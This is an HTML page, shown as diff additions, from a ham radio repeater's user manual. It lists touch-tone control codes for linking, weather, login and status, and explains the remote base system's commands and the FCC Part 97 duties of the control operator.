+ <TR><TD>38 0003</TD> <TD>Play This Week in Amateur Radio (must be linked to IRLP)</TD> <TD>0</TD></TR>
+ <TR><TD>38 0101</TD> <TD>Play Pelston Airport Weather (must be linked to IRLP)</TD> <TD>0</TD></TR>
+ <TR><TD>38 0102</TD> <TD>Play stats on last IRLP connection (must be linked to IRLP)</TD> <TD>0</TD></TR>
+ <TR><TD>38 0103</TD> <TD>Play Propagation report (must be linked to IRLP)</TD> <TD>0</TD></TR>
+ <TR><TD>38 0104</TD> <TD>Play list of nearby APRS stations (must be linked to IRLP)</TD> <TD>0</TD></TR>
+ <TR><TD>38 0199</TD> <TD>Play a silly message (must be linked to IRLP)</TD> <TD>0</TD></TR>
+ <TR><TD>39</TD> <TD>Help with intra-system linking Messages</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>40</TD> <TD>Link Off</TD> <TD>0</TD></TR>
+ <TR><TD>41</TD> <TD>Toggle link Transmit On/Off</TD> <TD>0</TD></TR>
+ <TR><TD>400</TD> <TD>Link to 146.74 repeater (from current repeater)</TD> <TD>1</TD></TR>
+ <TR><TD>401</TD> <TD>Link to IRLP (from current repeater)</TD> <TD>1</TD></TR>
+ <TR><TD>410</TD> <TD>Link to 29.6 FM (from current repeater)</TD> <TD>1</TD></TR>
+ <TR><TD>49</TD> <TD>Help with inter-system linking commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>50</TD> <TD>External linking / Remote Base off</TD> <TD>1</TD></TR>
+ <TR><TD>51</TD> <TD>Enter remote base mode (UHF repeater only per Part 97)</TD> <TD>1</TD></TR>
+ <TR><TD>52</TD> <TD>Toggle TX/RX for current link (pending)</TD> <TD>1</TD></TR>
+ <TR><TD>500</TD> <TD>Link to 146.740 repeater (pending) ???????</TD> <TD>1</TD></TR>
+ <TR><TD>59</TD> <TD>Help with remote base commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>60</TD> <TD>Listen to weather radio - 2 minutes</TD> <TD>0</TD></TR>
+ <TR><TD>61</TD> <TD>Stop listening to weather radio</TD> <TD>0</TD></TR>
+ <TR><TD>62</TD> <TD>Replay last recorder weather alert</TD> <TD>0</TD></TR>
+ <TR><TD>63</TD> <TD>Outside temperature (pending)</TD> <TD>0</TD></TR>
+ <TR><TD>64</TD> <TD>Wind speed (pending)</TD> <TD>0</TD></TR>
+ <TR><TD>69</TD> <TD>Help with weather related commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>70</TD> <TD>List who is currently logged in</TD> <TD>0</TD></TR>
+ <TR><TD>71 {user#} {pass}</TD> <TD>Log into system as user {user#} with passcode {pass}</TD> <TD>0</TD></TR>
+ <TR><TD>72</TD> <TD>Log out of system</TD> <TD>1</TD></TR>
+ <TR><TD>79</TD> <TD>Help with user access commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>80 {digits}</TD> <TD>Touch tone pad test - repeat {digits}</TD> <TD>0</TD></TR>
+ <TR><TD>81</TD> <TD>Audio test - replay next transmission<BR>
+ Enter command 81, wait for the courtesy tone, key up and speak</TD> <TD>0</TD></TR>
+ <TR><TD>89</TD> <TD>Help with test commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>90</TD> <TD>Total system status report</TD> <TD>0</TD></TR>
+ <TR><TD>91</TD> <TD>Backup battery current</TD> <TD>0</TD></TR>
+ <TR><TD>92</TD> <TD>Backup battery voltage</TD> <TD>0</TD></TR>
+ <TR><TD>93</TD> <TD>DC supply voltage</TD> <TD>0</TD></TR>
+ <TR><TD>94</TD> <TD>Date and Time</TD> <TD></TD></TR>
+ <TR><TD>95</TD> <TD>Room Temperature</TD> <TD>0</TD></TR>
+ <TR><TD>97</TD> <TD>Report received signal strength - (UHF Repeaters Only)<BR>
+ Reported in dbm.</TD> <TD>0</TD></TR>
+ <TR><TD>98</TD> <TD>UHF receive preamp current (should be about 220ma).</TD> <TD>0</TD></TR>
+ <TR><TD>99</TD> <TD>Help with system status commands</TD> <TD>0</TD></TR>
+
+ <TR><TD COLSPAN="3"> </TD></TR>
+
+ <TR><TD>999</TD> <TD>System information and help overview</TD> <TD>0</TD></TR>
+</TABLE>
+<P>
+
+<P>
+<A NAME="RemoteBase"></A>
+<H2>Remote Base User's Manual</H2>
+<P>
+The remote base system is capable of receiving from .1 to 30 MHz, transmitting on the HF Ham bands, and receiving and
+transmitting on the 50 MHz, 144 MHz, 220 MHz, and 440 MHz Ham bands using LSB, USB, AM, and FM modes. There is also
+a CW mode, but as there is no way to remotely key the transmitter, it's of little practical use other than receiving.
+<P>
+<B>Note:</B> There may be transmitting limitations due to the antennas connected to the remote base. As of this time,
+the HF transmit antenna is only useable on 20 Meters and above and there is not yet a 50 MHz antenna on the system.
+Expanded antenna systems are in the works and will be installed in the Spring of 2002. Please contact N8DNX for current
+information.
+<P>
+Operation of the remote base system will seem daunting at first, but you'll soon find that commonly used functions will
+be easy to remember and start to make sense. It's however suggested that you cut out the "Remote Base Quick Reference
+Guide" and have it available whenever operating the remote base.
+<P>
+<H3>The Remote Base and the Law</H3>
+<P>
+According to 97.3 (38) of the FCC rules, operation of the Remote Base is considered "Remote Control" of an amateur radio
+station. A remotely controlled station must be controlled using certain frequencies above 220 MHz. As such, operation
+of the Remote Base system is not permitted on the W8GQN VHF repeater. Remote base operation is therefore only permitted
+on the N8DNX UHF repeaters.
+<P>
+A station operating under remote control may not be "automatically controlled". When you use the remote base system,
+you are the control operator of that remotely controlled station. As such, you should identify the remote base using your
+own call letters. The proper way to identify would be "This is {your call} remote base". If you wish to be more precise,
+you may identify with "This is {your call} operating the N8DNX remote base". Please follow all requirements for
+identification when operating the remote base system.
+<P>
+Since you are the control operator when you operate the remote base system, you are fully responsible for its operation.
+Do not leave the remote base system enabled when you are not available to monitor or control its operation.
+<P>
+You may allow others users on the repeater to operate through the remote base while you are in control, even if their
+license class does not permit them to operate on the frequency or mode you have set. This is analogous to permitting
+someone else to talk into the microphone of your home station while you are at the controls. You are, however, fully
+responsible for their use of the remote base and you must properly identify the remote base operation with your call letters
+as mentioned above.
+<P>
+<H3>Turning on the Remote Base System</H3>
+<P>
+You will need to log into the system before turning on the remote base system. Your user ID is assigned according to your
+license class. When you log into the system with your ID and Pass Code, the system will know what license class you have
+and will limit the frequencies on which you can transmit accordingly. Once you're logged in, enter command code 50 to turn
+on the remote base. You cannot enter commands to the remote base system if you are not logged in!
+<P>
+When you turn on the remote base system, you will only be able to enter commands to the remote base system and will not
+be able to use the set of normal control codes. To enter normal control codes, you must first turn off the remote base.
+<P>
+<A NAME="RemoteCmds"></A>
+<H3>Remote Base Command Codes</H3>
+<P>
+All remote base commands begin with a "7". This access digit prevents accidentally entering a short, single digit, command.
+The next digits of the command designate specific function and any additional digits that need to be specified.
+<P>
+You will note that there is some logic to how these commands are laid out on a normal Touch Tone pad. For example,
+all of the commands to bump the frequency down are located on the left column while all of the commands to bump the
+frequency up are located on the right column (with the exception of "7 A" and "7 B", isn't there always an exception).
+As you learn these commands, think more about their location on the keypad and less about the actual command numbers and
+you may find them easier to remember.
+<P>
+<TABLE BORDER="0">
+ <TR><TH ALIGN="left" VALIGN="top" WIDTH="150">Command:</TH> <TD>Receive Only</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 1</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to switch the remote base from receive/transmit to receive only mode.
+ (Transmitting into the repeater will not cause the remote base to transmit.) The remote base
+ will always start in receive only mode, so this command is not necessary to begin receiving
+ after turning on the remote base system.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Set Radio Mode</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 1 {mode}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command sets the mode of operation for the radio.
+ <P>
+ Where {mode} is: 1 = USB, 2 = LSB, 3 = AM, 4 = FM, 5 = CW
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Receive/Transmit</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 2</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command places the remote base in receive/transmit mode. When in receive/transmit mode,
+ transmitting into the repeater will cause the remote base to transmit. To return to receive
+ only mode, use command 7 1.
+ <P>
+ <B>Note:</B> You can only select frequencies on which you are allowed to transmit when in
+ receive/transmit mode.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Toggle PL Receive</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 2 1</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command toggles PL receive on and off. When this PL receive mode is selected, the
+ receiver squelch will not open unless the correct PL tone is being received.
+ <P>
+ <B>Note:</B> This will only work on the 50 MHz, 144 MHz, 220 MHz and 440 MHz bands when in
+ FM mode and with PL transmit enabled (7 2 2).
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Toggle PL Transmit</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 2 2</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command toggles PL transmit on and off. When PL transmit mode is selected, the remote
+ base will transmit the selected PL tone.
+ <P>
+ <B>Note:</B> This will only work on the 50 MHz, 144 MHz, 220 MHz and 440 MHz bands when in FM mode.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn Off PL Receive and Transmit</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 2 3</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command turns off both receive and transmit PL modes.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Announce Receive and Transmit PL Settings</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 2 8</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ When you enter this command, the remote base system will announce the current PL receive and
+ transmit settings.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Set PL Frequency</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 2 {Hz}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command sets the PL frequency. The value {Hz} is the four digits of the PL frequency.
+ For example "7 2 1072" will set the PL frequency to 107.2 Hz. Only standard PL tone frequencies may be used.
+ <P>
+ <B>Note:</B> DO NOT include a "*" for decimal point as is the case when setting the radio frequency.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn Off the Remote Base System</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 3</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Enter this command to turn off and exit the remote base system. This will return to you normal
+ repeater operation and the normal set of repeater control commands. The remote base will not
+ transmit when off, so there is no need to turn off receive/transmit mode (using 7 1) prior to
+ turning off the remote base system.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bump Frequency Down 100 Hz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 4</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting down 100 Hz. Use this command to make
+ small adjustments to the remote base frequency. If you are in receive/transmit mode, you will
+ not be allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Select VFO "A"</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 5</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command selects VFO "A". The remote base system has two VFO's "A" and "B". Switching VFOs
+ will restore the remote base to the frequency and mode it was on when that VFO was last used.
+ <P>
+ <B>Note:</B> The remote base system uses separate radios for HF and VHF/UHF operation. When
+ switching VFO's results in the remote base having to switch radios, the system will automatically
+ turn off the remote base, reconfigure it for the correct radio, and ask you to turn it back on.
+ (For reasons beyond the scope of this document, it was not possible to make this process fully automatic.)
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Recall Memory</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 5 {memory #} (Memory numbers 1 or 2 digits 0 through 99)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to recall the contents of the specified memory into the current VFO and set
+ the frequency, mode, offset and other data that was stored in that memory.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bump Frequency Up 100 Hz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 6</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting up 100 Hz. Use this command to make
+ small adjustments to the remote base frequency.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bump Frequency Up 100 Hz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 6</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting up 100 Hz. Use this command to make
+ small adjustments to the remote base frequency. If you are in receive/transmit mode, you will not be
+ allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bump Frequency Down 500 Hz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 7</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting down 500 Hz. Use this command to make
+ small adjustments to the remote base frequency. If you are in receive/transmit mode, you will
+ not be allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Scan Up or Down in Frequency</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 7 {speed}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command with the desired speed will cause the remote base to scan up or
+ down at various speeds. The remote base will continue to scan, stopping periodically to
+ announce the frequency. You can stop scanning by transmitting briefly into the repeater.
+ <P>
+ Where {speed} is:
+ <TABLE BORDER="0">
+ <TR><TD>1 = Down Slow</TD> <TD>3 = Up Slow</TD></TR>
+ <TR><TD>4 = Down Medium</TD> <TD>6 = Up Medium</TD></TR>
+ <TR><TD>7 = Down Fast</TD> <TD>9 = Up Fast</TD></TR>
+ </TABLE>
+ <P>
+ </TD>
+ </TR>
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Announce Current Settings</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 8</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command causes the remote base to announce the current frequency, offset (if not zero),
+ and the selected VFO.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn Off Transmit Offset</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 8 0</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command will turn off any current transmit offset setting (such as a repeater offset).
+ After entering this command, the remote base will transmit on the same frequency as it receives.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn On Transmit Offset</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 8 1</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command will turn on transmit off set and use the offset frequency that was last set.
+ After entering this command, the remote base will transmit on a frequency that is different
+ from the receive frequency by the amount of the frequency offset set with command "7 8 1 x x".
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn On Transmit Offset and Set Offset Direction</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 8 1 {direction}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command is similar to "7 8 1" except that it specifies the offset direction, either
+ plus or minus, from the receive frequency.
+ <P>
+ Where {direction} is: 0 = Positive Offset, 1 = Negative Offset
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Turn On Transmit Offset and Set Direction and Size</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 8 1 {direction} {size}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting down 100 Hz. Use this command
+ to make small adjustments to the remote base frequency. If you are in receive/transmit mode,
+ you will not be allowed to go beyond the edge of the permitted transmit frequency range on the current band.
+ <P>
+ Where {size} is:
+ <TABLE BORDER="0">
+ <TR><TD>0 = 0 KHz</TD> <TD>5 = 1.6 MHz</TD></TR>
+ <TR><TD>1 = 100 KHz</TD> <TD>6 = 1.7 MHz</TD></TR>
+ <TR><TD>2 = 500 KHz</TD> <TD>7 = 5 MHz</TD></TR>
+ <TR><TD>3 = 600 KHz</TD> <TD>8 = 12 MHz</TD></TR>
+ <TR><TD>4 = 1 MHz</TD> <TD>9 = 20 MHz</TD></TR>
+ </TABLE>
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bump Frequency Up 500 Hz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 9</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting up 500 Hz. Use this command to
+ make small adjustments to the remote base frequency. If you are in receive/transmit mode,
+ you will not be allowed to go beyond the edge of the permitted transmit frequency range
+ on the current band.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Select VFO "B"</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 0</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ This command selects VFO "B". The remote base system has two VFO's "A" and "B".
+ Switching VFOs will restore the remote base to the frequency and mode it was on when
+ that VFO was last used.
+ <P>
+ <B>Note:</B> The remote base system uses separate radios for HF and VHF/UHF operation.
+ When switching VFO's results in the remote base having to switch radios, the
+ system will automatically turn off the remote base, reconfigure it for the correct
+ radio, and ask you to turn it back on. (For reasons beyond the scope of this document,
+ it was not possible to make this process fully automatic.)
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Write Memory</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 5 {memory #} (Memory numbers are 1 or 2 digit 0 through 99)</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to write the contents of the specified memory into the current VFO
+ and set the frequency, mode, offset and other data that was stored in that memory.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bump Frequency Up 20 Hz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 A</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting up 20 Hz. Use this
+ command to make small adjustments to the remote base frequency. If you are in
+ receive/transmit mode, you will not be allowed to go beyond the edge of the
+ permitted transmit frequency range on the current band.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Bump Frequency Down 20 Hz</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 B</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Entering this command will change the current VFO setting down 20 Hz. Use this
+ command to make small adjustments to the remote base frequency. If you are in
+ receive/transmit mode, you will not be allowed to go beyond the edge of the permitted
+ transmit frequency range on the current band.
+ <P>
+ </TD>
+ </TR>
+
+
+ <TR><TH ALIGN="left" VALIGN="top">Command:</TH> <TD>Enter Frequency</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Codes to execute:</TH> <TD>7 {frequency}</TD></TR>
+ <TR><TH ALIGN="left" VALIGN="top">Description:</TH>
+ <TD>
+ Use this command to set the frequency of the remote base. Use the "*" key to specify
+ the decimal point between MHz and KHz. If you do not use the "*" key, it will not be
+ interpreted as a frequency.
+ <P>
+ Where {frequency} is: MHz followed by "*" followed by KHz
+ <P>
+ Examples:
+ <TABLE BORDER="0">
+ <TR><TD>7 14*292</TD> <TD>14.292 MHz</TD></TR>
+ <TR><TD>7 146*68</TD> <TD>146.680 MHz</TD></TR>
+ <TR><TD>7 0*100</TD> <TD>100 KHz (Loran)</TD></TR>
+ </TABLE>
+ <P>
+ <B>Note:</B> The remote base system uses separate radios for HF and VHF/UHF operation.
+ When the frequency change results in the remote base having to switch radios, the
+ system will automatically turn off the remote base, reconfigure it for the correct
+ radio, and ask you to turn it back on. (For reasons beyond the scope of this document,
+ it was not possible to make this process fully automatic.)
+ <P>
+ <B>Note:</B> If the remote base is in receive/transmit mode, it will not permit you to
+ select a frequency on which you are not permitted to transmit. To select such a frequency,
+ use "7 1" to return to receive only mode, then select the desired frequency.
+ <P>
+ </TD>
+ </TR>
+
+</TABLE>
+<P>
+
+<P>
+
+<A NAME="RemRef"></A>
+<H2>Remote Base Quick Reference Guide</H2>
+<P>
+The following guide is a quick reference for Remote Base commands. It is arranged to be similar to the
+layout of a normal Touch Tone keypad. This reference chart should make sense if you are familiar with the
+Remote Base commands listed above. Please use this only as a quick reference, and not as a guide to
+Remote Base operation.
+<P>
+<TABLE BORDER="1">
+ <TR>
+ <TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">71<FONT size="1"></TD> <TD><FONT size="1">RX Only<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">71 {Mode}<FONT size="1"></TD> <TD><FONT size="1">HF Mode<BR>
+ (Mode = 1 USB, 2 LSB, 3 AM, 4 FM, 5 CW)<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">771<FONT size="1"></TD> <TD><FONT size="1">Scan Down Slow<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">72<FONT size="1"></TD> <TD><FONT size="1">RX and TX<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">72 {Hz}<FONT size="1"></TD> <TD><FONT size="1">Set PL Frequency<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">721<FONT size="1"></TD> <TD><FONT size="1">RX PL On/Off<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">722<FONT size="1"></TD> <TD><FONT size="1">TX PL On/Off<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">723<FONT size="1"></TD> <TD><FONT size="1">PL Off<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">728<FONT size="1"></TD> <TD><FONT size="1">Recall PL<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">73<FONT size="1"></TD> <TD><FONT size="1">Exit HF Mode<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">773<FONT size="1"></TD> <TD><FONT size="1">Scan Up Slow<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">7A<FONT size="1"></TD> <TD><FONT size="1">Bump Up 20 Hz<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">74<FONT size="1"></TD> <TD><FONT size="1">Bump Down 100Hz<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">74 {cmd}<FONT size="1"></TD> <TD><FONT size="1">Execute Command<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">774<FONT size="1"></TD> <TD><FONT size="1">Scan Down Medium<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">75<FONT size="1"></TD> <TD><FONT size="1">Select VFO A<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">75 {mem}<FONT size="1"></TD> <TD><FONT size="1">Recall Memory<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">76<FONT size="1"></TD> <TD><FONT size="1">Bump Up 100 Hz<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">776<FONT size="1"></TD> <TD><FONT size="1">Scan Up Medium<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">7B<FONT size="1"></TD> <TD><FONT size="1">Bump Down 20 Hz<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">77<FONT size="1"></TD> <TD><FONT size="1">Bump Down 500 Hz<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">777<FONT size="1"></TD> <TD><FONT size="1">Scan Down Fast<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">78<FONT size="1"></TD> <TD><FONT size="1">Recall Current VFO<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">780<FONT size="1"></TD> <TD><FONT size="1">TX Offset Off<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">781<FONT size="1"></TD> <TD><FONT size="1">TX Offset On<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">781{x} [{y}]<FONT size="1"></TD> <TD><FONT size="1">TX Offset Setting<BR>
+ (x = 0 Plus, 1 Minus)<FONT size="1"></TD>
+
+ <TR><TD><FONT size="1">0 = 0 KHz<FONT size="1"></TD> <TD><FONT size="1">1 = 100 KHz<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">2 = 500 KHz<FONT size="1"></TD><TD><FONT size="1">3 = 600 KHz<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">4 = 1 MHz<FONT size="1"></TD> <TD><FONT size="1">5 = 1.6 MHz<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">6 = 1.7 MHz<FONT size="1"></TD><TD><FONT size="1">7 = 5 MHz<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">8 = 12 MHz<FONT size="1"></TD> <TD><FONT size="1">9 = 20 MHz<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">79<FONT size="1"></TD> <TD><FONT size="1">Bump Up 500 Hz<FONT size="1"></TD>
+ </TABLE>
+ </TD><TD VALIGN="top">
+
+ </TD>
+ </TR><TR>
+ <TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">*<FONT size="1"></TD> <TD><FONT size="1">Use as decimal point<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">70<FONT size="1"></TD> <TD><FONT size="1">Recall VFO B<FONT size="1"></TD></TR>
+ <TR><TD><FONT size="1">70 {mem}<FONT size="1"></TD> <TD><FONT size="1">Write Memory<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TD><FONT size="1">#<FONT size="1"></TD> <TD><FONT size="1">Force Execution<FONT size="1"></TD></TR>
+ </TABLE>
+ </TD><TD VALIGN="top">
+
+ </TD>
